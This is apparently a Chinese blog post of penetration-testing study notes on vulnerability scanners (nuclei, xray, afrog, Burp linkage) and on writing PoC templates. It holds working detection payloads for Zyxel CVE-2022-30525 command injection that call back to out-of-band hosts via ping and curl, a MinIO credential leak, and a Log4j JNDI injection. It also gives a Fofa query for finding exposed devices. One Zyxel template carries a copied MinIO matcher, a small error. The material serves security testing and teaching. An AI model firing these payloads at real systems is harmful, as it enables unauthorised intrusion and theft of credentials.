漏洞发现

漏扫项目

特征类-三方Poc调用&模版Poc调用

案例

案例1:单点对某特征点进行安全评估

docker run -it -p 8888:8080 vulhub/struts2:s2-053

docker run -it -p 8090:8090 vulhub/fastjson:1.2.45

docker run -it -p 8888:8080 vulhub/shiro:1.2.4

案例2:新型对某特征点进行安全评估

例子:CVE-2022-30525: Zyxel 防火墙远程命令注入漏洞,参考

复现

Fofa:title=="USG FLEX 50 (USG20-VPN)"

nuclei.exe -t Zyxel.yaml -l z.txt

Zyxel.yaml(格式基于nuclei,但基本语法遵顼yaml):

id: CVE-2022-30525

info:
  name: cx
  author: remote
  severity: high
  tags: CVE-2022-30525
  reference: CVE-2022-30525

requests:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8
        
        {"command": "setWanPortSt","proto": "dhcp","port": "1270","vlan_tagged": "1270","vlanid": "1270","mtu": "{{exploit}}","data":""}
        
    payloads:
      exploit:
        - ";ping -c 3 {{interactsh-url}};"
    attack: pitchfork
    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"

Goby-综合类

https://gobysec.net/

GUI界面,使用简单

Nuclei-较综合类

官网地址:https://nuclei.projectdiscovery.io/

项目下载:https://github.com/projectdiscovery/nuclei

Nuclei-Templates&三方Nuclei-Templates

参考[1][2]

# 扫描批量url
nucle -l urls.txt

# 扫描单个目标
nuclei -target xxx.com

# 加载对应的poc脚本,可以是当前路径下
nuclei -t ./test/
nuclei -t ./test/test.yaml

# 推荐:批量检测urls.txt,poc为test.yaml,输出结果result.txt
nuclei -l urls.txt -t test.yaml -o result.txt

Afrog-特征类

Afrog是一款性能卓越、快速稳定、PoC可定制的漏洞扫描(挖洞)工具,PoC涉及CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型,帮助网络安全从业者快速验证并及时修复漏洞。

# 扫描单个目标
afrog -t http://example.com -o result.html

# 扫描多个目标
afrog -T urls.txt -o result.html

# 测试单个PoC
afrog -t http://example.com -P ./testing/poc-test.yaml -o result.html

# 测试多个PoC
afrog -t http://example.com -P ./testing/ -o result.html

Yakit-可特征可综合

GUI界面,使用简单

综合类-主动漏扫&中转联动&被动联动

爬虫:常规漏洞测试

Poc:用网上各种组件框架的漏洞去测试

案例

案例1:单点对某站点进行安全评估

案例2:联动对APP抓包进行安全评估

eg:安卓模拟器某APP应用

对比工具优缺点&对比工具使用方法

Awvs:爬虫强,Poc国内不友好

Xray:爬虫弱,Poc国内友好

主动扫描&被动扫描&POC资源等

# 主动扫描
.\xray_windows_amd64.exe webscan --basic-crawler http://xx/ --html-output xx.html

# 被动扫描
.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output xx.html

URL单点扫描&数据包联动扫描

1、相互联动性解决漏扫

2、相互联动性解决URL未探针

Burp&Xray联动-抓包给xray扫

1、主-Burp设置转发代理-访问

2、副-Xray设置被动扫描-扫描

Awvs&Xray联动-爬虫给xray扫

1、主-Awvs设置代理扫描-首次扫描

2、副-Xray设置被动扫描-二次扫描

Awvs&Burp&Xray中转联动-都扫看流量

1、主-Awvs设置代理扫描-awvs共享资源扫一次

2、中-Burp设置转发代理-burp共享资源扫一次

3、副-Xray设置被动扫描-Xray最后的一次扫描

Poc开发

Nuclei-Poc开发

环境配置&编写流程

1、开发环境:Vscode+Yaml插件

https://code.visualstudio.com/

2、参考资料

https://docs.nuclei.sh/template-guide/introduction

https://blog.csdn.net/qq_41315957/article/details/126594572

https://blog.csdn.net/qq_41315957/article/details/126594670

Yaml语法&匹配提取

YAML是一种数据序列化语言,它的基本语法规则注意如下:

  • 大小写敏感

  • 使用缩进表示层级关系

  • 缩进时不允许使用Tab键,只允许使用空格。

  • 缩进的空格数目不重要,只要相同层级的元素左侧对齐即可

Yaml Poc模版

1、编号 id(不能有空格)

2、信息 info

3、请求 http file tcp等

4、匹配结果 matchers Interactsh

5、提取结果 extractors

开发流程

0、poc模版套用修改

1、poc创建独立编号

2、poc填入详细信息

3、poc提交协议流程编写

4、poc结果匹配模式判断

5、poc结果提取模式判断

案例
案例1:CVE-2023-28432 (匹配结果)
id: CVE-2023-28432

info:
  name: MinIO集群模式信息泄露漏洞(CVE-2023-28432)
  author: xiaodisec
  severity: low
  description: 在其RELEASE.2023-03-20T20-16-18Z版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。
  reference:
    - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
  tags: MinIO,CVE
  

http:
  - raw:
      - |
        POST /minio/bootstrap/v1/verify HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: word
        part: body
        words:
          - '"MINIO_ROOT_PASSWORD":'
          - '"MINIO_ROOT_USER":'
          - '"MinioEnv":'
        condition: and
案例2:CVE-2022-30525(匹配交互)
id: CVE-2022-30525

info:
  name: Zyxel 防火墙远程命令注入漏洞
  author: xiaodisec
  severity: high
  description: 该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙,其中包括 ATP 系列、VPN 系列和 USG FLEX 系列(包括 USG20-VPN 和 USG20W-VPN)。该漏洞标识为 CVE-2022-30525,允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。
  reference:
    - https://blog.csdn.net/weixin_43080961/article/details/124776553
  tags: zyxel,cve,rce
  

http:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{varname}}","data":"hi"}

    payloads:
      varname:
        - ";ping -c 3 {{interactsh-url}};"  # 交互式接收器,功能类似dnslog,用于无回显的s'r'c
    
    matchers:
      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"

BurpSuite模版生成插件

1、导入或商店安装

2、配置插件路径信息

3、数据包选择生成模版

4、修改模版信息测试提交

Xray-Poc开发

数据回显&RCE不回显&实验室

1、参考文档

https://poc.xray.cool/

https://docs.xray.cool/#/guide/README

https://mp.weixin.qq.com/s/XeF10F5xw19AymX34vALIw

https://cloud.tencent.com/developer/article/1949351

2、分析技巧

配置config.yaml,使用代理看数据包分析(记得生成证书及安装)

3、调试Poc
.\xray --log-level debug webscan --poc .\test.yaml --url https://xx.xx.xx.xx:xxxx

语法&规则

第一部分-名称部分

name: string

poc名称如:poc-yaml-tongda-oa-rce

第二部分-脚本部分

poc规则:poc请求路径,请求内容,回显信息都由此匹配

method: string 请求方法
path: string 请求的完整Path,包括querystring等
headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中
body: string 请求的Body
follow_redirects: bool 是否允许跟随300跳转
expression: string
search: string

method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包

expression:判断该条Rule的结果

search:从返回包中提取信息

第三部分-信息部分

detail: map[string]string

xray扫描得到漏洞时xray返回的那一串爆红信息

实例

1、有回显匹配结果自动判断
# 名称部分
name: poc-yaml-CVE-2023-28432
# 脚本部分
transport: http
rules:
    r1:
        request:
            method: POST
            path: "/minio/bootstrap/v1/verify"
            headers:
                Content-Type: application/x-www-form-urlencoded
        expression: |
            response.status==200 && response.body_string.contains("MINIO_ROOT_PASSWORD")
expression:
    r1()
# 信息部分
detail:
    author: xiaodisec
    links: 
        - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
2、无回显直接写死,观察平台回显判断
name: poc-yaml-CVE-2022-30525
manual: true
transport: http
rules:
  r0:
    request:
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 dnslogaddr;","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: response.status==200
expression: r0()
detail:
  author: xiaodisec
  links:
    - https://blog.csdn.net/weixin_43080961/article/details/124776553
3、反连写法及启动配置(解决无回显RCE及其他)

服务端:见服务端config.yaml

客户端:见本地config.yaml

有域名配置:见本地config.yaml

没域名配置:修改hosts指向,见config.yaml,但无法验证是否成功,因为xray会在域名后面随机拼接一个二级域名,但这也就不再是hosts文件中指向的ip了

name: poc-yaml-CVE-2022-30525
manual: true
set:
  reverse: newReverse()
  reverseURL: reverse.url
  reverseDomain: reverse.domain
transport: http
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl {{reverseURL}};","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: reverse.wait(5)
expression: r0()
detail:
  author: xiaodisec
  links:
    - http://www.xiaodi8.com

Afrog-Poc开发

数据回显&RCE不回显&JDNI注入

1、开发参考

2、分析技巧:执行加入参数proxy,使用代理看数据包分析

3、指定Poc

afrog.exe -t https://xx.xx.xx.xx -P xxxx.yaml

语法&规则

第一部分:id info 编号 信息(类似nuclei)

第二部分:set rules 变量 脚本(类似xray)

第三部分:expression 判断 执行(类似xray)

实例

1、HTTP/S数据回显Poc开发

环境:MinIO集群模式信息泄露漏洞(CVE-2023-28432)

测试:afrog.exe -t https://xx.xx.xx.xx:xxxx -P minio.yaml

id: CVE-2023-28432

info:
  name: My PoC demo1
  author: xiaodisec
  severity: critical

rules:
  r0:
    request:
      method: POST
      path: /minio/bootstrap/v1/verify
      headers:
        Content-Type: application/x-www-form-urlencoded
    expression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')
expression: r0()
2、HTTP/S不回显RCE-Poc开发

环境:某案例 Zyxel 防火墙远程命令注入漏洞

配置:

  • 配置afrog-config.yaml ceye对应信息

测试:afrog.exe -t https://xx.xx.xx.xx:xxxx -P zyxel.yaml

法一:写死dnslog地址
id: CVE-2022-30525

info:
  name: My PoC demo2
  author: xiaodisec
  severity: critical

rules:
  r0:
    request:
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 cbvq0q.dnslog.cn;","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')
expression: r0()
法二:自身的dns接收平台
id: CVE-2022-30525

info:
  name: My PoC demo3
  author: xiaodisec
  severity: critical

set:
  reverse: newReverse()
  reverseURL: reverse.url
  reverseDomain: reverse.domain
  
rules:
  r0:
    request:
      method: POST
      path: /ztp/cgi-bin/handler
      body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 {{reverseURL}};","data":"hi"}'
      headers:
        Content-Type: application/json
    expression: reverse.wait(100)
expression: r0()
3、HTTP/S不回显JNDI-Poc开发

环境:Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)

配置:

  • 启动jndi-payload利用
java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456
  • afrog-config.yaml JNDI对应信息

测试:afrog -t http://192.168.139.128:8983 -P log4j.yaml

id: solr-log4j-rce

info:
  name: Apache Solr Log4j Remote Code Execution
  author: xiaodisec
  severity: critical
  verified: true
  created: 2023/10/16

set:
  reverse: newJNDI()
  jndiURL: reverse.url.host + reverse.url.path
rules:
  r0:
    request:
      method: GET
      path: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=json
    expression: reverse.jndi(5)
expression: r0()

插件类

武装BurpSuite-漏洞检测&分析辅助

漏洞检测类

1、Fiora:较全面,主动式扫描

Nuclei提供Poc图形界面,实现快速搜索、一键运行等功能,提升体验。

2、TsojanScan:较精准,被动式、主动式都可以

集成的BurpSuite常见漏洞探测插件

3、RouteVulScan:信息泄露等,被动

递归式被动检测脆弱路径的burp插件

分析辅助类

1、HaE

高亮标记和信息提取利器

2、knife

数据包定位,工具调用

3、domain_hunter_pro

域名提取,数据包分析,数据筛选,接口调用,信息搜集

4、burp_nu_te_gen

Nuclei模版辅助生成

武装浏览器-信息收集&情报辅助

参考:

https://mp.weixin.qq.com/s/5RcG2O5_WGDD7b0b1sGKJA

https://mp.weixin.qq.com/s/KtmgH9djcHZs-kdEZK9fvQ

https://mp.weixin.qq.com/s/neOK5kHJyoJR6LS5yx2QGQ

插件推荐:

  • 情报社区

  • HackBar

  • Heimdallr-蜜罐识别

  • Wappalyzer-信息搜集

  • Hack-Tools-payload快捷生成

  • FindSomething-数据筛选、搜集

  • SuperSearchPlus-信息搜集、查询

  • Penetration Testing Kit-信息搜集、历史CVE探测

posted @ 2025-12-02 09:28  shinianyunyan  阅读(18)  评论(0)    收藏  举报